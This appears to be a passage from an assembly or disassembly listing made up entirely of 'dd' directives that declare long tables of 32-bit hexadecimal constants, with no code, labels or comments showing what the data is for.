		dd 0E09422CDh, 1652F151h, 38DE0498h, 9C74E014h,	0D9861137h
		dd 6090D591h, 0A79CB8BBh, 23EA924Ah, 32E488B8h,	77C96314h
		dd 4E6FBC77h, 4706AAC7h, 1C6A3134h, 52A21A0Fh, 96689525h
		dd 8386351h, 0B361B699h, 2637CE61h, 57037514h, 87520B6h
		dd 1D55E5B6h, 177C7F64h, 470AB5Ah, 0A4910CE8h, 20FAB3E7h
		dd 91A925AFh, 0B3AD6E8Fh, 0BD64C0FDh, 0F06DC203h, 7B5C2E81h
		dd 0F37AC067h, 98689499h, 3F4F25A9h, 179C93ACh,	84C9822h
		dd 5EA4EAF1h, 0C03905D8h, 25693504h, 75C0F9A0h,	0A498FBA1h
		dd 7103BC29h, 51F212D8h, 0E758AE74h, 931BFB61h,	0C0454B3Eh
		dd 7487AF3Ah, 47D5656Bh, 1F91112Bh, 0D3FC44B6h,	8D548751h
		dd 6F96AC10h, 9AFCEDD7h, 0C92059AEh, 6BDC870h, 0BF939B43h
		dd 0E30B1D29h, 7798F955h, 6A3B732Bh, 2D6BB58h, 0D1BCA53Ch
		dd 44D0517Fh, 0AD6D969Ah, 0B36A3871h, 4F0E3EDDh, 73A810Ch
		dd 398E4673h, 909B7D17h, 0B4C9FDE7h, 0C61B3601h, 0CDCFD1EDh
		dd 0CEB8AC34h, 0CB2890AFh, 2A41769Ah, 0A017E50Ah, 653117F2h
		dd 183AE272h, 165E97ABh, 0ECE69985h, 0FC7037Ah,	1CD2265Ch
		dd 65693D37h, 4CE57EE5h, 819F1AC0h, 0F836E12Bh,	3685D52Bh
		dd 0ABC5036Eh, 0E78F7854h, 822F7CC1h, 7B81A098h, 6D36AD4Fh
		dd 0A8F3CF9Bh, 382810D0h, 0A44E87F9h, 9A6E094h,	50636DC9h
		dd 0E687EB3h, 91EB0253h, 0D2C79322h, 11703932h,	6021F952h
		dd 0C2C1B758h, 8333A57Ah, 0EEF361Ch, 0DE3F75D3h, 6E2167Dh
		dd 29DACE2Eh, 0E80BBAABh, 3246911Ah, 697FD03Dh,	217F329h
		dd 0D8B40BEEh, 52E01FB9h
		dd 0CB17D5E7h, 0DD2CAC10h, 50052145h, 8E51429Eh, 585191A8h
		dd 175C2D7Ah, 0AE7278D6h, 0E5FD23D2h, 768D03ABh, 634518D2h
		dd 0C10339Ah, 87F5E38Dh, 891C8072h, 9CFFF9F6h, 0B84A4388h
		dd 2B9A42CFh, 0E0DB1670h, 245C0C62h, 15ACC665h,	0D892455h
		dd 4423D228h, 2A8FAF50h, 600B701Fh, 48C09C0Eh, 2E4C052Dh
		dd 0DBE3C168h, 5B05300Fh, 9D7F711Ch, 6614B74Dh,	79087DA6h
		dd 71A16CA3h, 5AB9551Dh, 63C342F8h, 0BD70FFD0h,	5B2C9648h
		dd 62ED4317h, 0F3FBE3B2h, 0AE285268h, 0DB191C2Ch, 17DFD61Dh
		dd 6001C480h, 737E1576h, 4A8E2D78h, 21F40FAEh, 0D3A7EF45h
		dd 0FD8732F2h, 0E213A8E4h, 0B5D2A21h, 0FFF93D1Bh, 7ABA4A8Dh
		dd 0B5F8A61Dh, 33478C21h, 74DCAE47h, 9BF37656h,	7240C023h
		dd 0F37C5F84h, 0EF8727F7h, 0D80773Eh, 6D519FA3h, 902A47FDh
		dd 95F9C9CBh, 70A2FC40h, 0C1EDC2F9h, 77CA9D81h,	96D96D3Eh
		dd 3ED11DCBh, 1ED75BCCh, 61EED5Ah, 0E2CF08E1h, 3228B8A4h
		dd 68428091h, 1C1D2201h, 0A305FE9Ch, 0AC94BA7Ah, 97A276BCh
		dd 1D624501h, 437A9EBAh, 0FA540DD9h, 0DEA48D57h, 0F21908F7h
		dd 99D3E6E8h, 6EEB9F6Dh, 47DC6832h, 4C957464h, 0F05CA81h
		dd 63388252h, 2CBE1AB8h, 32E21D9Bh, 0C4CD3D70h,	79CFA74Ah
		dd 0EC62ACDBh, 0C22B3E17h, 0A0DD2BFAh, 0F4D7E9F4h, 36AD2C72h
		dd 590A012Bh, 0F6894A9h, 1B556EE6h, 0F2C6A9A4h,	0F745A05Ch
		dd 1A444BF1h, 0E857D358h, 0B586FCBh, 6F74A860h,	0AEF2FF28h
		dd 55076EC4h, 6D275F74h, 0AFF113FEh, 92908BA1h,	808C4AE0h
		dd 0A8D2F924h, 0DC7D60CEh, 0E81BD711h, 0E3CF4E54h, 498FC3F9h
		dd 0A95BBB4Eh, 7DE2E7A6h, 3B7E5AF2h, 0C2CF6EDDh, 0D94DA0B1h
		dd 2B3F4A74h, 198EF477h, 3AF453BDh, 7581C86Ah, 0F68D8BA5h
		dd 6C79BE6Dh, 0D2DA2039h, 0C47D8ACh, 0B38C2F66h, 0EED8C4F0h
		dd 8FC81606h, 0F8901D3Dh, 6A56D690h, 73FB6C8Ah,	4D885A5Ch
		dd 660F2DCDh, 0B1D004DBh, 16F1F563h, 67AAED75h,	1CB59335h
		dd 373431C7h, 0BADCB2B8h, 34940ED6h, 2BB81300h,	90A2ACC9h
		dd 0C2077014h, 0F4342D85h, 16A1C4F9h, 902623CDh, 0DBDFCF0Fh
		dd 0D3B4BC68h, 3FA17DF9h, 0D21D96DFh, 38C406F2h, 2AF6B0D7h
		dd 69C6A269h, 0F65584E5h, 0D9DF5F8Bh, 0F19E3713h, 7CBD8F4Fh
		dd 0BB3FA2CEh, 0F3F0EADBh, 0B430D210h, 0EB49FC75h, 86E43C20h
		dd 0B2723B1h, 0F9B97744h, 71042DBBh, 4B5D1376h,	0E9429D87h
		dd 7510B567h, 0EE78FD34h, 89A87491h, 2BB2D6D0h,	0D40B6EAh
		dd 4A119959h, 9115233Ch, 0E529D31h, 0B32DAED9h,	0AB3F4235h
		dd 6D5B69A6h, 30A731DFh, 0FF55B4EEh, 0A2577D4Fh, 78BB2877h
		dd 5382980Fh, 7E5C1FADh, 83B18CB1h, 4A4088B2h, 8C776618h
		dd 0E7DD1A2h, 683DB21Fh, 8ED8956Fh, 0B6D7DAF2h,	17AB2566h
		dd 19B8CB72h, 68EFFCBEh, 0C0BAE9Ah, 0CD7325B9h,	0A0EF30ABh
		dd 72D7493h, 88BF4A61h,	6AE494FAh, 0CAC29FA5h, 7D70368Ah
		dd 0C6054764h, 746321E5h, 0E33FD8F4h, 0AB3273DAh, 3027A314h
		dd 0FF7E03DFh, 0D3EB39D2h, 89250D4Eh, 0BC1CBA0Ch, 18B9EA93h
		dd 0FE761580h, 0DA4DA4F9h, 368B4E7Eh, 0A28F957Fh, 703D830Bh
		dd 333C014Dh, 0E741BF36h, 4A0F5BE6h, 2B72C943h,	0FE563112h
		dd 313FB3E6h, 46E2184Dh, 4D657147h, 983D0BEEh, 0D7904DAh
		dd 933A1E5Bh, 0EAB391C3h, 41BEB66Fh, 49AD69E6h,	0D69DC950h
		dd 75992DF9h, 46DE8C4Eh, 4C1FCA77h, 67B70DB0h, 58A3A314h
		dd 0A9C5644Eh, 2A0320ABh, 96D7DE52h, 68B0E9FAh,	474887C6h
		dd 0BB8B4DA2h, 51435B5h, 0C1975056h, 105E66AAh,	48BC6832h
		dd 34796421h, 0AAC8AA87h, 0E5231A10h, 1C5EF15Ah, 0D18FE9BCh
		dd 0D6DA3DC2h, 0B11D85CFh, 907F0275h, 9F6A2C5Fh, 2FFF63h
		dd 169F67BFh, 9F74DDE2h, 200AE888h, 0E55DF92Ch,	0CE06E668h
		dd 99C589ADh, 16FF9F7Bh, 8B166539h, 8C809A67h, 1650E25Ch
		dd 9C769A0Ah, 0A557F542h, 8ABBBD98h, 68D12472h,	6221144Eh
		dd 9890A43Eh, 5C635D1Ch, 7C4A861h, 5E195365h, 11D7FA11h
		dd 0EC6D596Ch, 0F4A17D99h, 807EDDB2h, 4A380D01h, 1ECE9365h
		dd 0BE4B8EB3h, 7CD5DF2Fh, 7FF20EF1h, 0E1D83EB2h, 90C9511h
		dd 0BD80DBA7h, 1020A0F7h, 0DEA4B06Dh, 21248486h, 0DAB188ABh
		dd 10478A5Dh, 0C1FCC6A5h, 0EF1780FBh, 7D10572Bh, 7530D689h
		dd 0DC0E5CFh, 860AB92Dh, 0DEA15F21h, 0E241AE67h, 0AD866EDEh
		dd 3DF9ED46h, 421A96AAh, 9BB5264Fh, 5153184Dh, 32CF9116h
		dd 0EB066E29h, 0F590AE03h, 4AEF7C12h, 0B3F6F499h, 2360EBh
		dd 0E7C24FF5h, 0AA8D0F65h, 0AA57684Dh, 427D8DB5h, 375CF749h
		dd 0DEEB9FE4h, 0ABC1EAEAh, 5B69D7E3h, 20BB2F29h, 0D8A2052Ah
		dd 57036795h, 1D934FC8h, 0EF4A0BA1h, 88910B59h,	7C432465h
		dd 8C466B80h, 408D13Bh,	7BADF25Ah, 0EF409E21h, 0E1391AD5h
		dd 0DF808579h, 0B4765E7Ch, 0F3275EA4h, 142C70F2h, 1960A1D7h
		dd 189B8315h, 956F0C77h, 8A34154Dh, 0A21159DCh,	0D0648C35h
		dd 0B9C1CF24h, 0BDAE9058h, 9F0A3630h, 93E1172Ch, 0BA00B496h
		dd 18BE43ECh, 0C9AEFFF5h, 5C417A1Bh, 0E0CE6AF5h, 0FE5A864Eh
		dd 0D4E95DCh, 29C306DBh, 0C898A615h, 0B75C66DEh, 5D68950Dh
		dd 72E40163h, 0DE99EAE1h, 0AD9FA7FDh, 6D042157h, 0A935C7AFh
		dd 6C998E4Eh, 0AA07B9DBh, 0EDA5B80Fh, 0A1FBFC6h, 51E59E88h
		dd 0C1F816B5h, 55A4FA1h, 8898CACAh, 9DEA76F3h, 7D23F5h
		dd 1A3E03E2h, 94B892DBh, 0C3D30936h, 3B27933Ch,	9010D425h
		dd 0EE78B01h, 394F21Bh,	788C059h, 7CE92EC8h, 0F17BB28Bh
		dd 90738368h, 64CE2FF8h, 2EAC2872h, 0BAE44575h,	888EE6DAh
		dd 92AF02B4h, 93EBC0D5h, 8A8A62C4h, 0DCF78CD4h,	16B407D7h
		dd 2B65E07Ah, 2B64E453h, 0BA881014h, 0F9887602h, 642A68D8h
		dd 57D35B19h, 0A8B6ED51h, 51E0E22Bh, 0C22EE9EDh, 5D0E6A89h
		dd 59714FA7h, 0A31601A1h, 26C4341Ah, 9441D55Bh,	10E724DBh
		dd 4A1F31E3h, 393193F9h, 294453D5h, 44D4C0Ch, 0EAC5FD90h
		dd 4E41CF7Dh, 0A42558B7h, 16923A92h, 0C1E98A93h, 0CF7C5A9Dh
		dd 0D9C3BF9Eh, 0BBDC0B2Ch, 0A047BEB5h, 4A774B82h, 76D57E7Bh
		dd 6879EA0Ch, 286CBAFFh, 0EAF5DE9Bh, 877E87F2h,	453BBCB3h
		dd 0D5D53E58h, 94F914D9h, 428B58F4h, 0C24ADCA7h, 7E7EC033h
		dd 0BDF8D30Dh, 2F7688Ch, 0F3EA7B3Ah, 0EF6F4001h, 943E5E35h
		dd 7C3BB46Bh, 8794BE9h,	57588822h, 0EDEE5B08h, 85BBFFB5h
		dd 0A98CE8AAh, 0C91871B2h, 5ABE35E4h, 1771D7Fh,	14468CACh
		dd 11F35634h, 103D283Bh, 957A71E5h, 8EEDE388h, 8354558Eh
		dd 6CB606Dh, 9B472AAAh,	9B9C89ABh, 681A0648h, 0A62F4799h
		dd 5AAFB55Bh, 5EAB481Bh, 8D5916D8h, 8CE7973Ch, 62DE1001h
		dd 0CDF9885Fh, 5D91779Ah, 0DC7BEA09h, 2AB0B535h, 11C453F9h
		dd 0C612533Ah, 1A95A7A1h, 7618E7Ch, 0D9AD6CB2h,	0FC867B7Ah
		dd 6C295974h, 8C40A19Ch, 5E0648F7h, 0F17295EFh,	0C597DF10h
		dd 3DB790CCh, 0C00B1012h, 820B345Bh, 0F834E831h, 3E4E41D2h
		dd 255F21E4h, 93D5533h,	0CFEFBCA7h, 61DB5A82h, 549999CFh
		dd 4E942DCFh, 0EF8BFBC8h, 497D69AEh, 3A6EAF5h, 236ABA25h
		dd 66B2F78h, 0D48A0468h, 0BECECA93h, 0BF538AA0h, 89D9E9CFh
		dd 0F5FF6E92h, 6F39B5E7h, 0DB859CA0h, 7342189h,	901021C7h
		dd 0EF12D49Dh, 165E9E65h, 5DEC6715h, 0B3FEA6ECh, 5282A032h
		dd 71A50C58h, 73022D57h
		dd 25F47A6Ch, 0F8199942h, 0A6AAABFBh, 44537BDFh, 0B35D2BD5h
		dd 0DB794EA3h, 1B4B12D2h, 0E1F97985h, 77198DFCh, 765FCEBFh
		dd 4C15F17Ch, 7F18F415h, 950BF943h, 747D4A8Ah, 665EFD0h
		dd 0DD2105CAh, 72156BD3h, 0DA01B464h, 0C5AE1399h, 25D8BFE9h
		dd 0CCA9DB0Bh, 761858E2h, 37FB1F2Fh, 5FD16F02h,	3B57D92Fh
		dd 627B193h, 0CC0576A8h, 34C5F1A5h, 0E63BB21Ch,	0BB04DB7Fh
		dd 2D859EC4h, 28DF556Fh, 9298594h, 9677823Eh, 0EF1CE455h
		dd 347A5C82h, 821A36CEh, 3D73F926h, 0FFCA8D5Ch,	4FFCE438h
		dd 0E350A6CBh, 40093ECBh, 0D83AE0DAh, 0D951F25Fh, 4FF9E1A3h
		dd 0EDE71346h, 0F533F3B2h, 35E79BBEh, 109710E8h, 1938007Fh
		dd 0A7A999ECh, 2C2A115Ch, 0FC8B5DA9h, 96F56D4Eh, 348E983Fh
		dd 0A9F39CD9h, 0BFAF32ABh, 9D991098h, 0B596DB99h, 0BD5B61C6h
		dd 0E363CE4Ch, 0F008923Dh, 3B2B6B8Ah, 1DEA9D98h, 30DAF104h
		dd 3E1F4EE0h, 3D6D3FCFh, 26665249h, 38202B60h, 0C18D3282h
		dd 54BA5367h, 81482FBAh, 79929069h, 0FDF3071Bh,	89CAC5A8h
		dd 7FB90510h, 8CCDE57h,	41C1C04Dh, 539E9874h, 91CE3DDCh
		dd 0E3ED1FF3h, 1251E5FDh, 3840CDC6h, 0EAB5560Fh, 0B5DEC1B2h
		dd 0DCB50322h, 1829B75Eh, 11F13998h, 8101B738h,	0B1CE5285h
		dd 0D7166521h, 0FB2E517Fh, 0CBA7D7E2h, 16546994h, 0B66C9DBBh
		dd 0AEBF0928h, 0B5860DF0h, 0D18F18D8h, 0D515E12Bh, 73373686h
		dd 0F58105E9h, 0E7D4DDCDh, 35F819D1h, 3D7A232Bh, 0C36D9347h
		dd 0F8EA01F2h, 8544Eh, 2D61F1B9h, 4730439Eh, 0C70B9E7Ah
		dd 0E57D1B16h, 58954BBh, 0EC1461F1h, 4452DBD2h,	0D8FBD161h
		dd 566FC5B1h, 5A1ADA37h, 1BA97CEFh, 0E3B69D43h,	46BD0B94h
		dd 46E36A3Ch, 7D685BC5h, 0CAA37C78h, 7A08862Ah,	49377B52h
		dd 96C692FEh, 4F151568h, 0B44E6395h, 0A7962265h, 0E709BDB3h
		dd 4A301B59h, 0E9D41C41h, 1DC90B1Fh, 0ECD797A4h, 0EA2B3C40h
		dd 552685ECh, 7D42B671h, 24D0E373h, 7B36CD24h, 0CF2475BEh
		dd 5F09C810h, 1E5633CEh, 23B8C5DAh, 0F5CECCDh, 13C41564h
		dd 0CD169C9Ah, 6909E229h, 88E571CDh, 22308F01h,	92F7DEC9h
		dd 3787615Eh, 6DE2D302h, 7B6B8343h, 7BE5117Ch, 3BEBE6B7h
		dd 0D954B6F5h, 0EB08708Bh, 37578B13h, 562145Dh,	1F947Bh
		dd 2DEBECFBh, 81732FA3h, 0B7A3D403h, 0B98C2EFBh, 0F320C5Dh
		dd 0A5DC11E7h, 4CCF8E61h, 0BD5F4D4Fh, 0B421CEF5h, 0E511A84Fh
		dd 7EC1BB37h, 19F2405Ch, 71F8DDBFh, 0E84D07EEh,	0B54F3B3Dh
		dd 85253F81h, 34C3B0FAh, 0BAB55EA9h, 5A950F71h,	75025A94h
		dd 4F893BCFh, 93FBF2FBh, 0A3182CEBh, 0BC224499h, 0F2ADE568h
		dd 0F262E4D6h, 0BA44FA1Ch, 588E638Ch, 0C809ADDCh, 9CE152CBh
		dd 0B06DDBAFh, 0FC94CD01h, 0C121ACA4h, 0B708147Ah, 13623B09h
		dd 0E80B67Dh, 52807B48h, 588E2E9Dh, 3CFC0534h, 4D1368C4h
		dd 0B306EED6h, 9B2D2398h, 5DFE6A2Eh, 0E6521E94h, 9C49453h
		dd 9BEFBC73h, 0DFA7A883h, 6E3502EEh, 8705A24h, 6C9D8C8Eh
		dd 0A92AD5C3h, 62EF822Ch, 9714257Bh, 9BB0D80h, 84E8AADBh
		dd 0F3FD69EFh, 778DE473h, 0FEBD99AFh, 1BB2BF71h, 438ABD0Ah
		dd 15A893B8h, 0A38E7D51h, 0A0442494h, 0CFC07F68h, 8701F27Bh
		dd 0B746DF56h, 63DECBD2h, 0D25E0026h, 4AD7402Ah, 255A3D76h
		dd 0D2A6CBDCh, 72B2B931h, 10FFBDADh, 0C3282397h, 55A07EE1h
		dd 5797664h, 9D7BCB8Dh,	1BF55557h, 0FCDE387Bh, 0F0C66CACh
		dd 8FEB7C30h, 32CF5783h, 55C94B60h, 0E8869023h,	6AAF0F89h
		dd 5646D25Ah, 269A3E5Ah, 0EC4A8Fh, 0AD4CAE4Fh, 0C0C1BEE2h
		dd 0A4C66EE4h, 63E8FCE2h, 51A2AC8Eh, 8156EBFEh,	9271166Dh
		dd 54EE76F7h, 7326B196h, 5A96D3D4h, 5C790A1h, 3BE55DBh
		dd 0A35D49CDh, 0A554E821h, 0F23D2004h, 0D8D487EAh, 92140A0Ch
		dd 27D01673h, 0C8711BF6h, 46DF341Ch, 311D2E5Bh,	0CF37E2F4h
		dd 0CADB2A14h, 0CC0BB8B1h, 0FB479F8Eh, 24E1DEB3h, 0D48C4F43h
		dd 7BBC67B0h, 0D98058FCh, 855FBE8Eh, 15F8E4CAh,	0F7A8E0EDh
		dd 891558ECh, 3EF148C1h, 0EB351E65h, 234D7E36h,	4505D12Ch
		dd 0BD645824h, 62F9C5E7h, 46657A86h, 5F734BE9h,	0D29BA3E2h
		dd 0E5455672h, 5A059D15h, 429B5128h, 8D25636Ch,	0D652C989h
		dd 1D916F8Ah, 2789BBE5h, 4AE0863Eh, 0DE160CEEh,	10148861h
		dd 0A92F2BB9h, 0AEF00679h, 487A4156h, 67A85EF5h, 0FBAEBC45h
		dd 2B03A4D6h, 0E28ADF57h, 67D222D8h, 0E1254E3Fh, 0F684A070h
		dd 5826D790h, 23F15093h, 0ADB16053h, 4FACF513h,	78964A0Dh
		dd 4BD9AC3Ah, 0F808C2C6h, 0EA1672h, 3AC8F5FAh, 0E6046826h
		dd 199A5FAEh, 6626A5B6h, 0D0A6BDECh, 94B6185Bh,	6B70E05Fh
		dd 7F5C58A9h, 3765A772h, 3CE1861Eh, 65F46324h, 1B2DE38Dh
		dd 0BEA92D53h, 0C547625Ah, 0DFF6E7CFh, 0E6CF96B9h, 4F96DE14h
		dd 0DB92225Ch, 1F3CB5CDh, 561F6D77h, 4FA34324h,	3858D0E8h
		dd 0AA30D1E4h, 36847E92h, 74E68DCh, 0BC32F2AAh,	0A6D026FDh
		dd 0B9CE232Bh, 0F631441Ah, 0BF0C9748h, 23D5570Bh, 70A61F1Fh
		dd 9E10B22Eh, 0D9734791h, 15DB998Bh, 34226B98h,	0A0D8991Ch
		dd 454C3298h, 0B4FE850h, 0BBDCCB87h, 85A137A1h,	0C0D428D7h
		dd 60D56554h, 2BDC1AA8h, 0F2C85122h, 0FDEC2975h, 262C7E64h
		dd 616EF161h, 4E5DF17Fh, 0AE1E2CDDh, 3446346h, 52D2713h
		dd 12E6FE45h, 0AFC7B2EEh, 0F582CCAAh, 2D3E586Eh, 63914C02h
		dd 3885CC5Dh, 992FC656h, 0C2ED5EBAh, 47DC4767h,	8516200Fh
		dd 0D3E4D4B3h, 59A427A8h, 0C5C8703Dh, 0A667BA5Eh, 7A5B21D0h
		dd 0F436FFAh, 0BA497E45h, 56BC5E4Eh, 0AD2425EAh, 3D794B9Fh
		dd 0FBA0E4E5h, 0E647DD37h, 65BEB36Bh, 5A5CA704h, 732F4617h
		dd 8FE61EA0h, 0F4CF73CDh, 341E9A66h, 313A2D68h,	566CE57Ah
		dd 80BEB57Eh, 0AF1303B5h, 0B4D1E03Fh, 0FA3CC27Ah, 194F6858h
		dd 0DF1DB08Bh, 0E165BE9Eh, 0B74C34A5h, 0BA020677h, 1C0F3B86h
		dd 2F776D9Ch, 866D620Dh, 0AA95DB86h, 0E784CCE7h, 9EADED0Ah
		dd 747FDECCh, 0E25DE544h, 0C13A40F4h, 86170AEh,	8B7BCC05h
		dd 0A25EF6EDh, 38385AD8h, 0EA684FADh, 203E6F67h, 18C52A30h
		dd 269B35E9h, 0F5907909h, 0C872862Bh, 96B5A6D2h, 0CB575769h
		dd 0A1B30E77h, 7ABA0ED8h, 0C952F35Fh, 0F6E91602h, 9B27DCh
		dd 6FD16AB3h, 0A74A8844h, 4CFA83FCh, 7340DD5Eh,	6B6AFCD5h
		dd 22F2A960h, 0AC29ED21h, 626FB44Dh, 2CC550FFh,	7DF0F2Fh
		dd 0FE602BBBh, 0D28EE3B4h, 589C921Eh, 64220D7Dh, 388FD996h
		dd 20E2D512h, 0EA228B68h, 0A6E3B483h, 7C8BDE1Ah, 0ECB4C349h
		dd 114EF628h, 115E339h,	9E2BB707h, 0DFE35C87h, 0D2B5DEA8h
		dd 0A3C0AF16h, 4CFDB234h, 9DD0238Ah, 75972510h,	39710F60h
		dd 26371BDBh, 0D1AC13E1h, 17985D10h, 0F0D926EEh, 0C7A7DE1Fh
		dd 116750CAh, 0B4A239E1h, 8C51B135h, 0EF9340C2h, 87234068h
		dd 970173BAh, 6C09F65Ah, 0C4A6E0BBh, 91D9AA38h,	77CCDD86h
		dd 4854432Eh, 3E05E4AFh, 945F0960h, 0BDD1FD17h,	8D40B759h
		dd 506CCEB0h, 941AB4C4h, 0A1B4CE77h, 704E1838h,	0D8BF6D3Ah
		dd 31381CCh, 0E894BD19h, 0A9DCB912h, 41FEB5CDh,	9DCFCF40h
		dd 0B69E13D4h, 793914A2h, 21F4FFDEh, 756B2247h,	0ED928CA2h
		dd 0AF7803BEh, 0AA565773h, 0E88797B9h, 4F7510D8h, 0E3C38DFAh
		dd 1871D0EFh, 4203BB53h, 0BA4475E7h, 6A40C76Dh,	352FFF58h
		dd 725F3ED0h, 0BC91D543h
		dd 514D436Ch, 0CC43F515h, 13390221h, 5B9778F7h,	0FB663B51h
		dd 57E72B51h, 0DF5A9BACh, 23FF5BF2h, 813F8EDh, 0F2DAA800h
		dd 0CB4718D1h, 1A184213h, 4735732Ch, 2429DEF9h,	2957E356h
		dd 8ECDB511h, 0DC62B37Ch, 71EEBC71h, 3E75554h, 289869FBh
		dd 0A55A3D36h, 45C3FE14h, 4715BBBAh, 0AABAAEC4h, 0E3215E68h
		dd 815E3BFAh, 36410900h, 0D82ADA2Dh, 51966D2Ah,	0C584E77Bh
		dd 23BB63A7h, 7A34E10Ah, 355F8395h, 75345FB6h, 36321C97h
		dd 0F8760F21h, 99444F7h, 57F6D362h, 3487FD84h, 0EB590445h
		dd 0E8AC1BA6h, 493E316Dh, 0AB19AD10h, 0EAE694F5h, 2AED446h
		dd 20A1569Dh, 0B53D8984h, 7B060A6Ch, 8F35EAD7h,	0C0A5858Ch
		dd 0EDC9B429h, 6AF81F5Dh, 6318ABC2h, 0EDD4E112h, 0AC639C89h
		dd 412FB734h, 4CA1F067h, 0B1D4264Bh, 0B8CF3F9h,	0D5986636h
		dd 0C728449Dh, 87051BAFh, 43A4D38Bh, 95DDAC43h,	0A2984D2Ah
		dd 3D40C6E7h, 8C0638E0h, 0AA0F6250h, 0B68B6823h, 0CAA2A05Bh
		dd 806817F8h, 5BE6C8ADh, 0E84914E5h, 56275875h,	495AF566h
		dd 7CCC462Eh, 0F6C78C4Bh, 6D3BE8Ah, 0B43DEC84h,	5072AFE2h
		dd 0F4580CB3h, 0AA1CE32Bh, 0A8268BD0h, 0F035EDEFh, 5CF5903Ah
		dd 890672BBh, 30C9A42Dh, 0EA0BCCB3h, 7F628FA3h,	8362777Dh
		dd 8A3E0DD0h, 996120F3h, 71A35D61h, 3A6682B4h, 0B4AB60A9h
		dd 655AB836h, 7157BA6Ch, 0D1202BAEh, 1CCC8A72h,	0E834FCF0h
		dd 0CAEE9075h, 9C24C243h, 0C6F745DAh, 1905A14Eh, 83C17AACh
		dd 7A652120h, 0A53BE380h, 0E29280FAh, 8FF42361h, 3033E545h
		dd 8776B6DBh, 0E1723C17h, 5F04A8AFh, 0EDA1ED2Ah, 0F9D95238h
		dd 686389D0h, 2DF950B1h, 0FBA8D517h, 78B31D63h,	0A4C90971h
		dd 0BA01865h, 2021862Fh, 0B468D021h, 0EB72935Eh, 8EBF427Eh
		dd 0A9D2401Ch, 6B62B289h, 0DD92AA6Bh, 42709EFBh, 0C97ADEFAh
		dd 0AB1CBB2Eh, 43E46A6h, 803E756Ah, 0F810265Bh,	5EDABC34h
		dd 1230B2A1h, 52707341h, 7A6BFA40h, 0CBBE7A93h,	0FFC143Ch
		dd 74F9ED0Dh, 2D1234EDh, 7E05BECDh, 27C663B2h, 0CEE27D00h
		dd 0EA41AA22h, 58867859h, 0AC11DF6h, 0AAFB84E0h, 0CA8299FFh
		dd 0AC1D4694h, 3ABDEFABh, 65015CBEh, 124E78DCh,	7EA3F329h
		dd 8C62D5Bh, 99FA64CCh,	0DAB48067h, 0AF453086h,	4E5C6183h
		dd 105361DFh, 573C3AF9h, 0C25321A6h, 4FBDB63Bh,	0B7A94086h
		dd 771182D8h, 266FD3EEh, 0F12BF075h, 0B1D8A48Dh, 0FB16343Ah
		dd 3A08D967h, 0AEFA4843h, 4CC31852h, 0D847D686h, 0F0E9AF5h
		dd 2EE0D1E6h, 0BBE81D4Bh, 26C37B0Dh, 16C538Bh, 912C97C0h
		dd 0B155D012h, 0DC839AC9h, 4F529FFBh, 0BA51B031h, 0E1A69468h
		dd 120B6C4Fh, 2F64B5C8h, 0B3679F92h, 58D7992h, 3A0F6F0Dh
		dd 0CC5AC3B1h, 795DB665h, 0AC30A178h, 0B585AC84h, 85D21A10h
		dd 0E952EAEEh, 5C0746DDh, 0A142E4DAh, 0FDFB8483h, 0B53D9FCFh
		dd 4B46FDE7h, 28E2BC43h, 0A7F96F7Ch, 34AC718Bh,	0B74148E8h
		dd 9AFEF864h, 75267B17h, 6E0A9769h, 7F83A537h, 0B25E8433h
		dd 8DBC2073h, 0DCAAD0F1h, 0A2C47591h, 2B92A03Ah, 30A91E6h
		dd 52A8A425h, 18705930h, 86E4267Ch, 4A052E53h, 0BBF61239h
		dd 0A77DF56Fh, 9F80ABh,	9EC381BFh, 0DA0CCA5Fh, 9887882Fh
		dd 4ADF3122h, 326F6BBDh, 668C2736h, 0E909DCCAh,	1DE7A234h
		dd 560D3BBh, 13DAE392h,	6E33D1B3h, 6D701B4h, 0F6624D3Bh
		dd 4449F4B5h, 0B3364AAAh, 2468F066h, 9E5F142Eh,	81D1B7B8h
		dd 0F278C458h, 261A0B3Dh, 0D973F40Bh, 3B06615Ah, 0D7E36FDAh
		dd 90B9F055h, 0EC7CE13Ah, 6D1BCC89h, 59133642h,	0E45D1B85h
		dd 6C6CE855h, 0CBADC6E4h, 0BC858325h, 67452662h, 44CC272Bh
		dd 43DFC045h, 5509ED8Ah, 1DA6C3Bh, 0DF30143h, 0E3641F8Bh
		dd 57F4ADFBh, 2CF3EFCCh, 2578B82Eh, 0C38D5BACh,	16C569E2h
		dd 0F35E754Fh, 3FEC31B4h, 0F079260Eh, 96CD3EBBh, 72E4C810h
		dd 0E4780266h, 0F46655A3h, 9F1A4C0Dh, 3F046DEDh, 5C53D676h
		dd 2A7153Dh, 32F50A23h,	0C534F03Ah, 1CFFEC2Bh, 1D2EE0FCh
		dd 75F6F5AEh, 0B507F5DDh, 9325A20Dh, 0A8EB5050h, 4200C96Ah
		dd 8E432B0Bh, 5726F62Bh, 0A2384776h, 0C417E910h, 903824D2h
		dd 0B5C3B219h, 0EE412AFDh, 0D1B9E816h, 4D66B0C8h, 0B1227D2Fh
		dd 0DA67417Dh, 3D9FBD1Dh, 29E49570h, 2F23874Eh,	422B34E5h
		dd 988D9640h, 8314530Ch, 708C9C55h, 0D3A8D657h,	0BFE5B1D7h
		dd 6D003178h, 0F2A49964h, 0DDC22A1Fh, 2BDE0FE0h, 6B315E5Ch
		dd 37414BB5h, 4D596316h, 0B4F6A0DBh, 8B62FC4Fh,	14C5A6A3h
		dd 0C221441Bh, 68F5989Eh, 1504C769h, 538C612h, 8A7B6E36h
		dd 20EC16B1h, 226F7EC1h, 2D646DFh, 0EDB98CE9h, 0E49A5134h
		dd 0C7360765h, 365B2689h, 9B7C7547h, 799B1DA1h,	48D13C1Fh
		dd 2EEB451h, 8ED2E345h,	43796178h, 0FA998699h, 860C7F0Eh
		dd 90FAD364h, 0F4E21CBh, 58C4141Ch, 9D17CBF0h, 7769BD0Dh
		dd 0ABF18F42h, 0A368C03Bh, 2FB9066h, 0B340B411h, 0CD9BAC8Eh
		dd 47B5BE00h, 9D7BA947h, 0DC36ACD2h, 9C2C4583h,	8EF79446h
		dd 0FB9BBAEAh, 0BCA5343Ah, 7FC8C9C6h, 0B40D184Ah, 0C3EA0384h
		dd 0F26B34DBh, 0ACF10EFEh, 83F347A6h, 2AA6202Fh, 3ABED91Eh
		dd 0A35F9E70h, 9D110224h, 0E30836F5h, 8694EC57h, 0E44459A1h
		dd 0E9271067h, 0E7D718B2h, 0AAA367FFh, 9EFF86D6h, 1FA73D96h
		dd 0EDF45F9Ch, 6F029670h, 0B9375C08h, 7941AA82h, 73A6631Eh
		dd 0F6B131D8h, 5B382CDDh, 9D4B5DAh, 0C091ADB4h,	23D67CEFh
